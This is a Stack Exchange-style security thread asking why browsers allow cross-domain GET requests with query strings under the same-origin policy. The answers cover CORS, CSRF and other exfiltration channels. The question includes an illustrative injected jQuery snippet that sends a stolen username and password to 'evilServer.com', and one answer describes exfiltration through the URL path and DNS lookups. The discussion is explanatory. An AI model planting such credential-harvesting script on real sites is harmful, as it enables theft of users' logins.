10

From what I understand, the same origin policy prevents scripts in a web page from talking to servers outside of the present domain (using post, xmlhttprequest, etc). I assumed that get requests (with arguments) across domains would also be forbidden. That was until I started to read about using YQL to bypass some restrictions of the same origin policy. The code examples all use an ajax get request with parameters.

 $.ajax({
      type: "GET",
      url: 'http://query.yahooapis.com/v1/public/yql?q=' + encodeURIComponent(webServiceQuery),

So lets say some attacker manages to inject some evil javascript into a web page that harvests logins. Something like:

$.ajax({
  type: "GET",
  url: 'http://evilServer.com?username=PresidentSkroob&password=12345

The receiving server could log every request that comes its way. Why is this allowed? I understand why you would want to allow data-less get requests (say importing jquery), but I don't see a reason to allow query strings to be passed cross domain. Is there a legit reason why most browsers allow this?

CountMurphy
  • 211
  • 2
  • 7
  • Are you seeing this across all browsers or only a subset? – Steve Jun 18 '12 at 20:53
  • I've tested in chrome and firefox and it works fine – CountMurphy Jun 18 '12 at 21:28
  • I personally never used YQL. So I don't know much about it. But on the basic level there are way to make exceptions to same origin policy. Have a look at CORS and UMP - http://www.w3.org/Security/wiki/Comparison_of_CORS_and_UMP – Majoris Jun 18 '12 at 21:30
  • cracker? don't use this term, ever. There are attackers, and defenders in software. – rook Jun 18 '12 at 22:26
  • "cracker? don't use this term, ever. There are attackers, and defenders in software." --- A [cracker](https://en.wikipedia.org/wiki/Cracker_(food)) attacking my servers would indeed be ridiculous. (Side note: apparently there is a non-edible [pejorative](https://en.wikipedia.org/wiki/Cracker_(pejorative)) version of cracker, always learning...) – Daniel Jan 26 '17 at 18:56
  • This is years late, but that phrase is what I was taught in college. Seems ridiculous now. – CountMurphy Sep 24 '19 at 20:49

3 Answers3

17

I don't see a reason to allow query strings to be passed cross domain. Is there a legit reason why most browsers allow this?

There is nothing special about query strings. You could just as well exfiltrate the information in a path part, evil.example.com/PresidentSkroob/12345... or even the domain name. eg imagine setting the address to PresidentSkroob.12345.evil.example.com; if you run the DNS for evil.example.com you can easily log the lookups.

As per XMLHttpRequest level 2, browsers allow cross-origin GETs to be sent without preflighting, but don't allow the results to be read from the response unless the remote domain opts in. There is no additional vulnerability here because you can already cause a GET to an arbitrary URL to be sent (including query string, for what it's worth) through multiple more basic interfaces.

For example you have always been able to create an <img> element with its src set to an address on a remote domain; taking away that cross-domain ability would break a lot of the existing web.

bobince
  • 12,494
  • 1
  • 26
  • 42
  • +1 for a very key point: "there is nothing special about the query string" – Cheekysoft Jun 19 '12 at 14:29
  • 3
    "_no additional vulnerability here_" +1 There is no point making newer API strictly safer (strictly less powerful) if the older ones are never going to disappear! – curiousguy Jun 30 '12 at 13:59
8

The Same-Origin Policy prevents scripts from reading content from a location that the script does not originate from. CSRF attacks rely on the fact that you can transmit requests to another domain, and reading the response doesn't matter. Many CSRF prevention techniques exploits the fact that the attacker cannot read the page before making the request. When you load a web page many requests to many domains are fired to load content such as images, css and even javascript. Blocking requests to another domain would break important functionality.

XSS allows an attacker to execute arbitrary JavaScript that originates from a target website. The samy worm used this property of XSS to read the CSRF token and forge requests.

With the advent of "HTML 5" and CORS, you can build an arbitrary request using a xhr and use this to exploit CSRF vulnerabilities. The XHR will fire the request, however if the CORS HTTP reponse headers are not present then the XHR will fail to read the response... However, in order for the browser to see if these http response headers are present, it must first make the request. This behavior is very useful for building CSRF exploits such as cross-site file upload attacks that wouldn't normally be possible.

rook
  • 46,916
  • 10
  • 92
  • 181
  • Minor correction: SOP prevents scripts from reading content from a location that the script is running at (i.e. the address of the web page that loads the script). – Krzysztof Kotowicz Jun 19 '12 at 10:36
  • 1
    @Krzysztof Kotowicz I think you mean **IS NOT** running at. – rook Jun 19 '12 at 17:47
  • "_The Same-Origin Policy prevents scripts from reading content from a location that the script does not originate from_" with special cases for including scripts, CSS (content served as `text/css`), and images (can get the dimension). The **Privacy-related side channels** section in the linked **Browser Security Handbook** is a must-read! – curiousguy Jun 30 '12 at 14:10
  • @rook: 'The Same-Origin Policy prevents scripts from reading content'. Just need a small clarification on this. If it prevents browser/script from reading the response, can it by read by a proxy in between. In other words, does the server even respond to such a request? – Rahil Arora Apr 15 '15 at 22:55
  • It depends on the XHR. But yes for the purposes of CSRF, you should assume that the client can send arbitrary requests, and that the response may be sent by the server, but not visible to the attacker. – rook Apr 16 '15 at 03:46
  • While this is all true, I don't see how this answers the question, namely "why allow requests with arguments?". – sleske Jan 17 '20 at 11:08
  • @sleske well we could remove arguments from all function calls / APIs then just randomly guess what the input should be. This process might be right some of the time, but arguments seem to working better. – rook Jan 21 '20 at 18:42
4

It's all a part of supporting cross domain ajax requests. You can do a GET, but the x-access-control-* headers determine whether the client can read the response or not.

If this was not possible, an attacker could still achieve the same by doing form submits with Get as method, or setting iframes/script/img tags with src attributes pointing to the same GET url. So this doesnt really change anything with regard to SOP unless the x-access-control-* headers are used.

Erlend
  • 2,195
  • 14
  • 13